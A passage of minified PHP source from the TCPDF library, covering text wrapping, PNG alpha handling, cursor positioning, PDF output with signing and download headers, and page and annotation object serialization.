{$shy_width=0;$shy_char_left='';$shy_char_right='';}$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,($sep+$endspace));if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,(($sep+$endspace)-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=$startx-$linew-$shy_width;}else {$this->endlinex=$startx+$linew+$shy_width;}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}$this->Cell($w,$h,$shy_char_left.$tmpstr.$shy_char_right,0,1,$align,$fill,$link,$stretch);unset($tmpstr);if($firstline){if($chars[$sep]==45){$endspace+=1;}$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,($sep+$endspace)));}$i=$sep;$sep=-1;$shy=false;$j=($i+1);}}if((($this->y+$this->lasth)>$this->PageBreakTrigger) AND ($this->inPageBody())){$this->AcceptPageBreak();if($this->rtl){$this->x-=$margin['R'];}else {$this->x+=$margin['L'];}$this->lMargin+=$margin['L'];$this->rMargin+=$margin['R'];}$w=$this->getRemainingWidth();$wmax=$w-$this->cell_padding['L']-$this->cell_padding['R'];if($linebreak){$linebreak=false;}else {++$nl;$l=0;}}}$pc=$c;++$i;}if($l>0){switch($align){case 'J':case 'C':{$w=$w;break;}case 'L':{if($this->rtl){$w=$w;}else {$w=$l;}break;}case 'R':{if($this->rtl){$w=$l;}else {$w=$w;}break;}default:{$w=$l;break;}}$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,$nb);if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,($nb-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=$startx-$linew;}else {$this->endlinex=$startx+$linew;}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}$this->Cell($w,$h,$tmpstr,0,$ln,$align,$fill,$link,$stretch);unset($tmpstr);if($firstline){$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,$nb));}++$nl;}if($firstline){return '';}return $nl;} function getRemainingWidth(){list($this->x,$this->y)=$this->checkPageRegions(0,$this->x,$this->y);if($this->rtl){return ($this->x-$this->lMargin);}else {return ($this->w-$this->rMargin-$this->x);}} function fitBlock($w,$h,$x,$y,$fitonpage=false){if($w<=0){$w=($this->w-$this->lMargin-$this->rMargin);if($w<=0){$w=1;}}if($h<=0){$h=($this->PageBreakTrigger-$this->tMargin);if($h<=0){$h=1;}}if($fitonpage OR $this->AutoPageBreak){$ratio_wh=($w/$h);if($h>($this->PageBreakTrigger-$this->tMargin)){$h=$this->PageBreakTrigger-$this->tMargin;$w=($h*$ratio_wh);}if($fitonpage){$maxw=($this->w-$this->lMargin-$this->rMargin);if($w>$maxw){$w=$maxw;$h=($w/$ratio_wh);}}}$prev_x=$this->x;$prev_y=$this->y;if($this->checkPageBreak($h,$y) OR ($this->y<$prev_y)){$y=$this->y;if($this->rtl){$x+=($prev_x-$this->x);}else {$x+=($this->x-$prev_x);}$this->newline=true;}if($fitonpage){$ratio_wh=($w/$h);if(($y+$h)>$this->PageBreakTrigger){$h=$this->PageBreakTrigger-$y;$w=($h*$ratio_wh);}if((!$this->rtl) AND (($x+$w)>($this->w-$this->rMargin))){$w=$this->w-$this->rMargin-$x;$h=($w/$ratio_wh);}elseif(($this->rtl) AND (($x-$w)<($this->lMargin))){$w=$x-$this->lMargin;$h=($w/$ratio_wh);}}return array($w,$h,$x,$y);} function ImagePngAlpha($file,$x,$y,$wpx,$hpx,$w,$h,$type,$link,$align,$resize,$dpi,$palign,$filehash=''){if(empty($filehash)){$filehash=md5($file);}$tempfile_plain=K_PATH_CACHE.'__tcpdf_'.$this->file_id.'_imgmask_plain_'.$filehash;$tempfile_alpha=K_PATH_CACHE.'__tcpdf_'.$this->file_id.'_imgmask_alpha_'.$filehash;$parsed=false;$parse_error='';if(($parsed===false) AND extension_loaded('imagick')){try{$img=new Imagick();$img->readImage($file);$imga=TCPDF_STATIC::objclone($img);if(method_exists($img,'setImageAlphaChannel') AND defined('Imagick::ALPHACHANNEL_EXTRACT')){$img->setImageAlphaChannel(Imagick::ALPHACHANNEL_EXTRACT);}else {$img->separateImageChannel(8);$img->negateImage(true);}$img->setImageFormat('png');$img->writeImage($tempfile_alpha);if(method_exists($imga,'setImageMatte')){$imga->setImageMatte(false);}else {$imga->separateImageChannel(39);}$imga->setImageFormat('png');$imga->writeImage($tempfile_plain);$parsed=true;}catch(Exception$e){$parse_error='Imagick library error: '.$e->getMessage();}}if(($parsed===false) AND function_exists('imagecreatefrompng')){try{$img=imagecreatefrompng($file);$imgalpha=imagecreate($wpx,$hpx);for($c=0;$c<256;++$c){ImageColorAllocate($imgalpha,$c,$c,$c);}for($xpx=0;$xpx<$wpx;++$xpx){for($ypx=0;$ypx<$hpx;++$ypx){$color=imagecolorat($img,$xpx,$ypx);$alpha=$this->getGDgamma($img,$color);imagesetpixel($imgalpha,$xpx,$ypx,$alpha);}}imagepng($imgalpha,$tempfile_alpha);imagedestroy($imgalpha);$imgplain=imagecreatetruecolor($wpx,$hpx);imagecopy($imgplain,$img,0,0,0,0,$wpx,$hpx);imagepng($imgplain,$tempfile_plain);imagedestroy($imgplain);$parsed=true;}catch(Exception$e){$parse_error='GD library error: '.$e->getMessage();}}if($parsed===false){if(empty($parse_error)){$this->Error('TCPDF requires the Imagick or GD extension to handle PNG images with alpha channel.');}else {$this->Error($parse_error);}}$imgmask=$this->Image($tempfile_alpha,$x,$y,$w,$h,'PNG','','',$resize,$dpi,'',true,false);$this->Image($tempfile_plain,$x,$y,$w,$h,$type,$link,$align,$resize,$dpi,$palign,false,$imgmask);} function getGDgamma($img,$c){if(!isset($this->gdgammacache['#'.$c])){$colors=imagecolorsforindex($img,$c);$this->gdgammacache['#'.$c]=(((127-$colors['alpha'])/127)*255);$this->gdgammacache['#'.$c]=(pow(($this->gdgammacache['#'.$c]/255),2.2)*255);if(count($this->gdgammacache)>8){array_shift($this->gdgammacache);}}return $this->gdgammacache['#'.$c];} function Ln($h='',$cell=false){if(($this->num_columns>1) AND ($this->y==$this->columns[$this->current_column]['y']) AND isset($this->columns[$this->current_column]['x']) AND ($this->x==$this->columns[$this->current_column]['x'])){return;}if($cell){if($this->rtl){$cellpadding=$this->cell_padding['R'];}else {$cellpadding=$this->cell_padding['L'];}}else {$cellpadding=0;}if($this->rtl){$this->x=$this->w-$this->rMargin-$cellpadding;}else {$this->x=$this->lMargin+$cellpadding;}if(is_string($h)){$h=$this->lasth;}$this->y+=$h;$this->newline=true;} function GetX(){if($this->rtl){return ($this->w-$this->x);}else {return $this->x;}} function GetAbsX(){return $this->x;} function GetY(){return $this->y;} function SetX($x,$rtloff=false){$x=floatval($x);if(!$rtloff AND $this->rtl){if($x>=0){$this->x=$this->w-$x;}else {$this->x=abs($x);}}else {if($x>=0){$this->x=$x;}else {$this->x=$this->w+$x;}}if($this->x<0){$this->x=0;}if($this->x>$this->w){$this->x=$this->w;}} function SetY($y,$resetx=true,$rtloff=false){$y=floatval($y);if($resetx){if(!$rtloff AND $this->rtl){$this->x=$this->w-$this->rMargin;}else {$this->x=$this->lMargin;}}if($y>=0){$this->y=$y;}else {$this->y=$this->h+$y;}if($this->y<0){$this->y=0;}if($this->y>$this->h){$this->y=$this->h;}} function SetXY($x,$y,$rtloff=false){$this->SetY($y,false,$rtloff);$this->SetX($x,$rtloff);} function SetAbsX($x){$this->x=floatval($x);} function SetAbsY($y){$this->y=floatval($y);} function SetAbsXY($x,$y){$this->SetAbsX($x);$this->SetAbsY($y);} function Output($name='doc.pdf',$dest='I'){if($this->state<3){$this->Close();}if(is_bool($dest)){$dest=$dest?'D':'F';}$dest=strtoupper($dest);if($dest[0]!='F'){$name=preg_replace('/[\s]+/','_',$name);$name=preg_replace('/[^a-zA-Z0-9_\.-]/','',$name);}if($this->sign){$pdfdoc=$this->getBuffer();$pdfdoc=substr($pdfdoc,0,-1);$byterange_string_len=strlen(TCPDF_STATIC::$byterange_string);$byte_range=array();$byte_range[0]=0;$byte_range[1]=strpos($pdfdoc,TCPDF_STATIC::$byterange_string)+$byterange_string_len+10;$byte_range[2]=$byte_range[1]+$this->signature_max_length+2;$byte_range[3]=strlen($pdfdoc)-$byte_range[2];$pdfdoc=substr($pdfdoc,0,$byte_range[1]).substr($pdfdoc,$byte_range[2]);$byterange=sprintf('/ByteRange[0 %u %u %u]',$byte_range[1],$byte_range[2],$byte_range[3]);$byterange.=str_repeat(' ',($byterange_string_len-strlen($byterange)));$pdfdoc=str_replace(TCPDF_STATIC::$byterange_string,$byterange,$pdfdoc);$tempdoc=TCPDF_STATIC::getObjFilename('doc',$this->file_id);$f=TCPDF_STATIC::fopenLocal($tempdoc,'wb');if(!$f){$this->Error('Unable to create temporary file: '.$tempdoc);}$pdfdoc_length=strlen($pdfdoc);fwrite($f,$pdfdoc,$pdfdoc_length);fclose($f);$tempsign=TCPDF_STATIC::getObjFilename('sig',$this->file_id);if(empty($this->signature_data['extracerts'])){openssl_pkcs7_sign($tempdoc,$tempsign,$this->signature_data['signcert'],array($this->signature_data['privkey'],$this->signature_data['password']),array(),PKCS7_BINARY|PKCS7_DETACHED);}else {openssl_pkcs7_sign($tempdoc,$tempsign,$this->signature_data['signcert'],array($this->signature_data['privkey'],$this->signature_data['password']),array(),PKCS7_BINARY|PKCS7_DETACHED,$this->signature_data['extracerts']);}$signature=file_get_contents($tempsign);$signature=substr($signature,$pdfdoc_length);$signature=substr($signature,(strpos($signature,"%%EOF
------")+13));$tmparr=explode("
",$signature);$signature=$tmparr[1];$signature=base64_decode(trim($signature));$signature=$this->applyTSA($signature);$signature=current(unpack('H*',$signature));$signature=str_pad($signature,$this->signature_max_length,'0');$this->buffer=substr($pdfdoc,0,$byte_range[1]).'<'.$signature.'>'.substr($pdfdoc,$byte_range[1]);$this->bufferlen=strlen($this->buffer);}switch($dest){case 'I':{if(ob_get_contents()){$this->Error('Some data has already been output, can\'t send PDF file');}if(php_sapi_name()!='cli'){header('Content-Type: application/pdf');if(headers_sent()){$this->Error('Some data has already been output to browser, can\'t send PDF file');}header('Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1');header('Pragma: public');header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');header('Content-Disposition: inline; filename="'.basename($name).'"');TCPDF_STATIC::sendOutputData($this->getBuffer(),$this->bufferlen);}else {echo $this->getBuffer();}break;}case 'D':{if(ob_get_contents()){$this->Error('Some data has already been output, can\'t send PDF file');}header('Content-Description: File Transfer');if(headers_sent()){$this->Error('Some data has already been output to browser, can\'t send PDF file');}header('Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1');header('Pragma: public');header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');if(strpos(php_sapi_name(),'cgi')===false){header('Content-Type: application/force-download');header('Content-Type: application/octet-stream',false);header('Content-Type: application/download',false);header('Content-Type: application/pdf',false);}else {header('Content-Type: application/pdf');}header('Content-Disposition: attachment; filename="'.basename($name).'"');header('Content-Transfer-Encoding: binary');TCPDF_STATIC::sendOutputData($this->getBuffer(),$this->bufferlen);break;}case 'F':case 'FI':case 'FD':{$f=TCPDF_STATIC::fopenLocal($name,'wb');if(!$f){$this->Error('Unable to create output file: '.$name);}fwrite($f,$this->getBuffer(),$this->bufferlen);fclose($f);if($dest=='FI'){header('Content-Type: application/pdf');header('Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1');header('Pragma: public');header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');header('Content-Disposition: inline; filename="'.basename($name).'"');TCPDF_STATIC::sendOutputData(file_get_contents($name),filesize($name));}elseif($dest=='FD'){if(ob_get_contents()){$this->Error('Some data has already been output, can\'t send PDF file');}header('Content-Description: File Transfer');if(headers_sent()){$this->Error('Some data has already been output to browser, can\'t send PDF file');}header('Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1');header('Pragma: public');header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');if(strpos(php_sapi_name(),'cgi')===false){header('Content-Type: application/force-download');header('Content-Type: application/octet-stream',false);header('Content-Type: application/download',false);header('Content-Type: application/pdf',false);}else {header('Content-Type: application/pdf');}header('Content-Disposition: attachment; filename="'.basename($name).'"');header('Content-Transfer-Encoding: binary');TCPDF_STATIC::sendOutputData(file_get_contents($name),filesize($name));}break;}case 'E':{$retval='Content-Type: application/pdf;'."
";$retval.=' name="'.$name.'"'."
";$retval.='Content-Transfer-Encoding: base64'."
";$retval.='Content-Disposition: attachment;'."
";$retval.=' filename="'.$name.'"'."
";$retval.=chunk_split(base64_encode($this->getBuffer()),76,"
");return $retval;}case 'S':{return $this->getBuffer();}default:{$this->Error('Incorrect output destination: '.$dest);}}return '';} function _destroy($destroyall=false,$preserve_objcopy=false){if($destroyall AND !$preserve_objcopy){$tmpfiles=glob(K_PATH_CACHE.'__tcpdf_'.$this->file_id.'_*');if(!empty($tmpfiles)){array_map('unlink',$tmpfiles);}}$preserve=array('file_id','internal_encoding','state','bufferlen','buffer','cached_files','sign','signature_data','signature_max_length','byterange_string','tsa_timestamp','tsa_data');foreach(array_keys(get_object_vars($this)) as $val){if($destroyall OR !in_array($val,$preserve)){if((!$preserve_objcopy OR ($val!='objcopy')) AND ($val!='file_id') AND isset($this->$val)){unset($this->$val);}}}} function _dochecks(){if(1.1==1){$this->Error('Don\'t alter the locale before including class file');}if(sprintf('%.1F',1.0)!='1.0'){setlocale(LC_NUMERIC,'C');}} function getInternalPageNumberAliases($a=''){$alias=array();$alias=array('u'=>array(),'a'=>array());$u='{'.$a.'}';$alias['u'][]=TCPDF_STATIC::_escape($u);if($this->isunicode){$alias['u'][]=TCPDF_STATIC::_escape(TCPDF_FONTS::UTF8ToLatin1($u,$this->isunicode,$this->CurrentFont));$alias['u'][]=TCPDF_STATIC::_escape(TCPDF_FONTS::utf8StrRev($u,false,$this->tmprtl,$this->isunicode,$this->CurrentFont));$alias['a'][]=TCPDF_STATIC::_escape(TCPDF_FONTS::UTF8ToLatin1($a,$this->isunicode,$this->CurrentFont));$alias['a'][]=TCPDF_STATIC::_escape(TCPDF_FONTS::utf8StrRev($a,false,$this->tmprtl,$this->isunicode,$this->CurrentFont));}$alias['a'][]=TCPDF_STATIC::_escape($a);return $alias;} function getAllInternalPageNumberAliases(){$basic_alias=array(TCPDF_STATIC::$alias_tot_pages,TCPDF_STATIC::$alias_num_page,TCPDF_STATIC::$alias_group_tot_pages,TCPDF_STATIC::$alias_group_num_page,TCPDF_STATIC::$alias_right_shift);$pnalias=array();foreach($basic_alias as $k=>$a){$pnalias[$k]=$this->getInternalPageNumberAliases($a);}return $pnalias;} function replaceRightShiftPageNumAliases($page,$aliases,$diff){foreach($aliases as $type=>$alias){foreach($alias as $a){$startnum=(strpos($a,':')+1);$a=substr($a,0,$startnum);if(($pos=strpos($page,$a))!==false){$endnum=strpos($page,'}',$pos);$aa=substr($page,$pos,($endnum-$pos+1));$ratio=substr($page,($pos+$startnum),($endnum-$pos-$startnum));$ratio=preg_replace('/[^0-9\.]/','',$ratio);$ratio=floatval($ratio);if($type=='u'){$chrdiff=floor(($diff+12)*$ratio);$shift=str_repeat(' ',$chrdiff);$shift=TCPDF_FONTS::UTF8ToUTF16BE($shift,false,$this->isunicode,$this->CurrentFont);}else {$chrdiff=floor(($diff+11)*$ratio);$shift=str_repeat(' ',$chrdiff);}$page=str_replace($aa,$shift,$page);}}}return $page;} function setPageBoxTypes($boxes){$this->page_boxes=array();foreach($boxes as $box){if(in_array($box,TCPDF_STATIC::$pageboxes)){$this->page_boxes[]=$box;}}} function _putpages(){$filter=($this->compress)?'/Filter /FlateDecode ':'';$pnalias=$this->getAllInternalPageNumberAliases();$num_pages=$this->numpages;$ptpa=TCPDF_STATIC::formatPageNumber(($this->starting_page_number+$num_pages-1));$ptpu=TCPDF_FONTS::UTF8ToUTF16BE($ptpa,false,$this->isunicode,$this->CurrentFont);$ptp_num_chars=$this->GetNumChars($ptpa);$pagegroupnum=0;$groupnum=0;$ptgu=1;$ptga=1;$ptg_num_chars=1;for($n=1;$n<=$num_pages;++$n){$temppage=$this->getPageBuffer($n);$pagelen=strlen($temppage);$pnpa=TCPDF_STATIC::formatPageNumber(($this->starting_page_number+$n-1));$pnpu=TCPDF_FONTS::UTF8ToUTF16BE($pnpa,false,$this->isunicode,$this->CurrentFont);$pnp_num_chars=$this->GetNumChars($pnpa);$pdiff=0;$gdiff=0;if(!empty($this->pagegroups)){if(isset($this->newpagegroup[$n])){$pagegroupnum=0;++$groupnum;$ptga=TCPDF_STATIC::formatPageNumber($this->pagegroups[$groupnum]);$ptgu=TCPDF_FONTS::UTF8ToUTF16BE($ptga,false,$this->isunicode,$this->CurrentFont);$ptg_num_chars=$this->GetNumChars($ptga);}++$pagegroupnum;$pnga=TCPDF_STATIC::formatPageNumber($pagegroupnum);$pngu=TCPDF_FONTS::UTF8ToUTF16BE($pnga,false,$this->isunicode,$this->CurrentFont);$png_num_chars=$this->GetNumChars($pnga);$replace=array();$replace[]=array($ptgu,$ptg_num_chars,9,$pnalias[2]['u']);$replace[]=array($ptga,$ptg_num_chars,7,$pnalias[2]['a']);$replace[]=array($pngu,$png_num_chars,9,$pnalias[3]['u']);$replace[]=array($pnga,$png_num_chars,7,$pnalias[3]['a']);list($temppage,$gdiff)=TCPDF_STATIC::replacePageNumAliases($temppage,$replace,$gdiff);}$replace=array();$replace[]=array($ptpu,$ptp_num_chars,9,$pnalias[0]['u']);$replace[]=array($ptpa,$ptp_num_chars,7,$pnalias[0]['a']);$replace[]=array($pnpu,$pnp_num_chars,9,$pnalias[1]['u']);$replace[]=array($pnpa,$pnp_num_chars,7,$pnalias[1]['a']);list($temppage,$pdiff)=TCPDF_STATIC::replacePageNumAliases($temppage,$replace,$pdiff);$temppage=$this->replaceRightShiftPageNumAliases($temppage,$pnalias[4],max($pdiff,$gdiff));$temppage=str_replace($this->epsmarker,'',$temppage);$this->page_obj_id[$n]=$this->_newobj();$out='<<';$out.=' /Type /Page';$out.=' /Parent 1 0 R';if(empty($this->signature_data['approval']) OR ($this->signature_data['approval']!='A')){$out.=' /LastModified '.$this->_datestring(0,$this->doc_modification_timestamp);}$out.=' /Resources 2 0 R';foreach($this->page_boxes as $box){$out.=' /'.$box;$out.=sprintf(' [%F %F %F %F]',$this->pagedim[$n][$box]['llx'],$this->pagedim[$n][$box]['lly'],$this->pagedim[$n][$box]['urx'],$this->pagedim[$n][$box]['ury']);}if(isset($this->pagedim[$n]['BoxColorInfo']) AND !empty($this->pagedim[$n]['BoxColorInfo'])){$out.=' /BoxColorInfo <<';foreach($this->page_boxes as $box){if(isset($this->pagedim[$n]['BoxColorInfo'][$box])){$out.=' /'.$box.' <<';if(isset($this->pagedim[$n]['BoxColorInfo'][$box]['C'])){$color=$this->pagedim[$n]['BoxColorInfo'][$box]['C'];$out.=' /C [';$out.=sprintf(' %F %F %F',($color[0]/255),($color[1]/255),($color[2]/255));$out.=' ]';}if(isset($this->pagedim[$n]['BoxColorInfo'][$box]['W'])){$out.=' /W '.($this->pagedim[$n]['BoxColorInfo'][$box]['W']*$this->k);}if(isset($this->pagedim[$n]['BoxColorInfo'][$box]['S'])){$out.=' /S /'.$this->pagedim[$n]['BoxColorInfo'][$box]['S'];}if(isset($this->pagedim[$n]['BoxColorInfo'][$box]['D'])){$dashes=$this->pagedim[$n]['BoxColorInfo'][$box]['D'];$out.=' /D [';foreach($dashes as $dash){$out.=sprintf(' %F',($dash*$this->k));}$out.=' ]';}$out.=' >>';}}$out.=' >>';}$out.=' /Contents '.($this->n+1).' 0 R';$out.=' /Rotate '.$this->pagedim[$n]['Rotate'];if(!$this->pdfa_mode){$out.=' /Group << /Type /Group /S /Transparency /CS /DeviceRGB >>';}if(isset($this->pagedim[$n]['trans']) AND !empty($this->pagedim[$n]['trans'])){if(isset($this->pagedim[$n]['trans']['Dur'])){$out.=' /Dur '.$this->pagedim[$n]['trans']['Dur'];}$out.=' /Trans <<';$out.=' /Type /Trans';if(isset($this->pagedim[$n]['trans']['S'])){$out.=' /S /'.$this->pagedim[$n]['trans']['S'];}if(isset($this->pagedim[$n]['trans']['D'])){$out.=' /D '.$this->pagedim[$n]['trans']['D'];}if(isset($this->pagedim[$n]['trans']['Dm'])){$out.=' /Dm /'.$this->pagedim[$n]['trans']['Dm'];}if(isset($this->pagedim[$n]['trans']['M'])){$out.=' /M /'.$this->pagedim[$n]['trans']['M'];}if(isset($this->pagedim[$n]['trans']['Di'])){$out.=' /Di '.$this->pagedim[$n]['trans']['Di'];}if(isset($this->pagedim[$n]['trans']['SS'])){$out.=' /SS '.$this->pagedim[$n]['trans']['SS'];}if(isset($this->pagedim[$n]['trans']['B'])){$out.=' /B '.$this->pagedim[$n]['trans']['B'];}$out.=' >>';}$out.=$this->_getannotsrefs($n);$out.=' /PZ '.$this->pagedim[$n]['PZ'];$out.=' >>';$out.="
".'endobj';$this->_out($out);$p=($this->compress)?gzcompress($temppage):$temppage;$this->_newobj();$p=$this->_getrawstream($p);$this->_out('<<'.$filter.'/Length '.strlen($p).'>> stream'."
".$p."
".'endstream'."
".'endobj');}$out=$this->_getobj(1)."
";$out.='<< /Type /Pages /Kids [';foreach($this->page_obj_id as $page_obj){$out.=' '.$page_obj.' 0 R';}$out.=' ] /Count '.$num_pages.' >>';$out.="
".'endobj';$this->_out($out);} function _getannotsrefs($n){if(!(isset($this->PageAnnots[$n]) OR ($this->sign AND isset($this->signature_data['cert_type'])))){return '';}$out=' /Annots [';if(isset($this->PageAnnots[$n])){foreach($this->PageAnnots[$n] as $key=>$val){if(!in_array($val['n'],$this->radio_groups)){$out.=' '.$val['n'].' 0 R';}}if(isset($this->radiobutton_groups[$n])){foreach($this->radiobutton_groups[$n] as $key=>$data){if(isset($data['n'])){$out.=' '.$data['n'].' 0 R';}}}}if($this->sign AND ($n==$this->signature_appearance['page']) AND isset($this->signature_data['cert_type'])){$out.=' '.$this->sig_obj_id.' 0 R';}if(!empty($this->empty_signature_appearance)){foreach($this->empty_signature_appearance as $esa){if($esa['page']==$n){$out.=' '.$esa['objid'].' 0 R';}}}$out.=' ]';return $out;} function _putannotsobjs(){for($n=1;$n<=$this->numpages;++$n){if(isset($this->PageAnnots[$n])){foreach($this->PageAnnots[$n] as $key=>$pl){$annot_obj_id=$this->PageAnnots[$n][$key]['n'];if(isset($this->radiobutton_groups[$n][$pl['txt']]) AND is_array($this->radiobutton_groups[$n][$pl['txt']])){$radio_button_obj_id=$this->radiobutton_groups[$n][$pl['txt']]['n'];$annots='<<';$annots.=' /Type /Annot';$annots.=' /Subtype /Widget';$annots.=' /Rect [0 0 0 0]';if($this->radiobutton_groups[$n][$pl['txt']]['#readonly#']){$annots.=' /F 68';$annots.=' /Ff 49153';}else {$annots.=' /F 4';$annots.=' /Ff 49152';}$annots.=' /T '.$this->_datastring($pl['txt'],$radio_button_obj_id);if(isset($pl['opt']['tu']) AND is_string($pl['opt']['tu'])){$annots.=' /TU '.$this->_datastring($pl['opt']['tu'],$radio_button_obj_id);}$annots.=' /FT /Btn';$annots.=' /Kids [';$defval='';foreach($this->radiobutton_groups[$n][$pl['txt']] as $key=>$data){if(isset($data['kid'])){$annots.=' '.$data['kid'].' 0 R';if($data['def']!=='Off'){$defval=$data['def'];}}}$annots.=' ]';if(!empty($defval)){$annots.=' /V /'.$defval;}$annots.=' >>';$this->_out($this->_getobj($radio_button_obj_id)."
".$annots."
".'endobj');$this->form_obj_id[]=$radio_button_obj_id;$this->radiobutton_groups[$n][$pl['txt']]=$radio_button_obj_id;}$formfield=false;$pl['opt']=array_change_key_case($pl['opt'],CASE_LOWER);$a=$pl['x']*$this->k;$b=$this->pagedim[$n]['h']-(($pl['y']+$pl['h'])*$this->k);$c=$pl['w']*$this->k;$d=$pl['h']*$this->k;$rect=sprintf('%F %F %F %F',$a,$b,$a+$c,$b+$d);$annots='<</Type /Annot';$annots.=' /Subtype /'.$pl['opt']['subtype'];$annots.=' /Rect ['.$rect.']';$ft=array('Btn','Tx','Ch','Sig');if(isset($pl['opt']['ft']) AND in_array($pl['opt']['ft'],$ft)){$annots.=' /FT /'.$pl['opt']['ft'];$formfield=true;}$annots.=' /Contents '.$this->_textstring($pl['txt'],$annot_obj_id);$annots.=' /P '.$this->page_obj_id[$n].' 0 R';$annots.=' /NM '.$this->_datastring(sprintf('%04u-%04u',$n,$key),$annot_obj_id);$annots.=' /M '.$this->_datestring($annot_obj_id,$this->doc_modification_timestamp);if(isset($pl['opt']['f'])){$fval=0;if(is_array($pl['opt']['f'])){foreach($pl['opt']['f'] as $f){switch(strtolower($f)){case 'invisible':{$fval+=1<<0;break;}case 'hidden':{$fval+=1<<1;break;}case 'print':{$fval+=1<<2;break;}case 'nozoom':{$fval+=1<<3;break;}case 'norotate':{$fval+=1<<4;break;}case 'noview':{$fval+=1<<5;break;}case 'readonly':{$fval+=1<<6;break;}case 'locked':{$fval+=1<<8;break;}case 'togglenoview':{$fval+=1<<9;break;}case 'lockedcontents':{$fval+=1<<10;break;}default:{break;}}}}else {$fval=intval($pl['opt']['f']);}}else {$fval=4;}if($this->pdfa_mode){$fval|=4;}$annots.=' /F '.intval($fval);if(isset($pl['opt']['as']) AND is_string($pl['opt']['as'])){$annots.=' /AS /'.$pl['opt']['as'];}if(isset($pl['opt']['ap'])){$annots.=' /AP <<';if(is_array($pl['opt']['ap'])){foreach($pl['opt']['ap'] as $apmode=>$apdef){$annots.=' /'.strtoupper($apmode);if(is_array($apdef)){$annots.=' <<';foreach($apdef as $apstate=>$stream){$apsobjid=$this->_putAPXObject($c,$d,$stream);$annots.=' /'.$apstate.' '.$apsobjid.' 0 R';}$annots.=' >>';}else {$apsobjid=$this->_putAPXObject($c,$d,$apdef);$annots.=' '.$apsobjid.' 0 R';}}}else {$annots.=$pl['opt']['ap'];}$annots.=' >>';}if(isset($pl['opt']['bs']) AND (is_array($pl['opt']['bs']))){$annots.=' /BS <<';$annots.=' /Type /Border';if(isset($pl['opt']['bs']['w'])){$annots.=' /W '.intval($pl['opt']['bs']['w']);}$bstyles=array('S','D','B','I','U');if(isset($pl['opt']['bs']['s']) AND in_array($pl['opt']['bs']['s'],$bstyles)){$annots.=' /S /'.$pl['opt']['bs']['s'];}if(isset($pl['opt']['bs']['d']) AND (is_array($pl['opt']['bs']['d']))){$annots.=' /D [';foreach($pl['opt']['bs']['d'] as $cord){$annots.=' '.intval($cord);}$annots.=']';}$annots.=' >>';}else {$annots.=' /Border [';if(isset($pl['opt']['border']) AND (count($pl['opt']['border'])>=3)){$annots.=intval($pl['opt']['border'][0]).' ';$annots.=intval($pl['opt']['border'][1]).' ';$annots.=intval($pl['opt']['border'][2]);if(isset($pl['opt']['border'][3]) AND is_array($pl['opt']['border'][3])){$annots.=' [';foreach($pl['opt']['border'][3] as $dash){$annots.=intval($dash).' ';}$annots.=']';}}else {$annots.='0 0 0';}$annots.=']';}if(isset($pl['opt']['be']) AND (is_array($pl['opt']['be']))){$annots.=' /BE <<';$bstyles=array('S','C');if(isset($pl['opt']['be']['s']) AND in_array($pl['opt']['be']['s'],$bstyles)){$annots.=' /S /'.$pl['opt']['bs']['s'];}else {$annots.=' /S /S';}if(isset($pl['opt']['be']['i']) AND ($pl['opt']['be']['i']>=0) AND ($pl['opt']['be']['i']<=2)){$annots.=' /I '.sprintf(' %F',$pl['opt']['be']['i']);}$annots.='>>';}if(isset($pl['opt']['c']) AND (is_array($pl['opt']['c'])) AND !empty($pl['opt']['c'])){$annots.=' /C '.TCPDF_COLORS::getColorStringFromArray($pl['opt']['c']);}$markups=array('text','freetext','line','square','circle','polygon','polyline','highlight','underline','squiggly','strikeout','stamp','caret','ink','fileattachment','sound');if(in_array(strtolower($pl['opt']['subtype']),$markups)){if(isset($pl['opt']['t']) AND is_string($pl['opt']['t'])){$annots.=' /T '.$this->_textstring($pl['opt']['t'],$annot_obj_id);}if(isset($pl['opt']['ca'])){$annots.=' /CA '.sprintf('%F',floatval($pl['opt']['ca']));}if(isset($pl['opt']['rc'])){$annots.=' /RC '.$this->_textstring($pl['opt']['rc'],$annot_obj_id);}$annots.=' /CreationDate '.$this->_datestring($annot_obj_id,$this->doc_creation_timestamp);if(isset($pl['opt']['subj'])){$annots.=' /Subj '.$this->_textstring($pl['opt']['subj'],$annot_obj_id);}}$lineendings=array('Square','Circle','Diamond','OpenArrow','ClosedArrow','None','Butt','ROpenArrow','RClosedArrow','Slash');switch(strtolower($pl['opt']['subtype'])){case 'text':{if(isset($pl['opt']['open'])){$annots.=' /Open '.(strtolower($pl['opt']['open'])=='true'?'true':'false');}$iconsapp=array('Comment','Help','Insert','Key','NewParagraph','Note','Paragraph');if(isset($pl['opt']['name']) AND in_array($pl['opt']['name'],$iconsapp)){$annots.=' /Name /'.$pl['opt']['name'];}else {$annots.=' /Name 